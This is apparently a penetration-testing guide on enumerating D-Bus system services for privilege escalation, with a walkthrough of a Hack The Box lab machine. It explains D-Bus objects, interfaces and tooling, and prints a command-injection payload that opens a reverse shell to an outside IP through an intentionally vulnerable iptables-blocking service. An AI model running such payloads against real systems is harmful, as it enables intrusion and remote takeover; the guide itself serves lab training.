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D-Bus is utilized as the inter-process communications (IPC) mediator in Ubuntu desktop environments. On Ubuntu, the concurrent operation of several message buses is observed: the system bus, primarily utilized by **privileged services to expose services relevant across the system**, and a session bus for each logged-in user, exposing services relevant only to that specific user. The focus here is primarily on the system bus due to its association with services running at higher privileges (e.g., root) as our objective is to elevate privileges. It is noted that D-Bus's architecture employs a 'router' per session bus, which is responsible for redirecting client messages to the appropriate services based on the address specified by the clients for the service they wish to communicate with.
Services on D-Bus are defined by the **objects** and **interfaces** they expose. Objects can be likened to class instances in standard OOP languages, with each instance uniquely identified by an **object path**. This path, akin to a filesystem path, uniquely identifies each object exposed by the service. A key interface for research purposes is the **org.freedesktop.DBus.Introspectable** interface, featuring a singular method, Introspect. This method returns an XML representation of the object's supported methods, signals, and properties, with a focus here on methods while omitting properties and signals.
For communication with the D-Bus interface, two tools were employed: a CLI tool named **gdbus** for easy invocation of methods exposed by D-Bus in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python-based GUI tool designed to enumerate the services available on each bus and to display the objects contained within each service.
In the first image services registered with the D-Bus system bus are shown, with **org.debin.apt** specifically highlighted after selecting the System Bus button. D-Feet queries this service for objects, displaying interfaces, methods, properties, and signals for chosen objects, seen in the second image. Each method's signature is also detailed.
A notable feature is the display of the service's **process ID (pid)** and **command line**, useful for confirming if the service runs with elevated privileges, important for research relevance.
**D-Feet also allows method invocation**: users can input Python expressions as parameters, which D-Feet converts to D-Bus types before passing to the service.
However, note that **some methods require authentication** before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place.
Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not.
[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character.
Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string.
In order to **monitor** a **communication** you will need to be **root.** If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus)
As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_:
Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication.
As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code:
In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\
**The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #`
At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the `D-Bus object path`****and `interface name`** are **registered**. This information will be necessary to send information to the D-Bus connection:
Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_):
The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_):
* Message Bus – A software used by systems to make communications between applications easily. It’s related to Message Queue (messages are ordered in sequence) but in Message Bus the messages are sending in a subscription model and also very quick.
* “-system” tag is used to mention that it is a system message, not a session message (by default).
* “–string:” – Type of message we like to send to the interface. There are several formats of sending messages like double, bytes, booleans, int, objpath. Out of this, the “object path” is useful when we want to send a path of a file to the Dbus interface. We can use a special file (FIFO) in this case to pass a command to interface in the name of a file. “string:;” – This is to call the object path again where we place of FIFO reverse shell file/command.
_Note that in `htb.oouch.Block.Block`, the first part (`htb.oouch.Block`) references the service object and the last part (`.Block`) references the method name._
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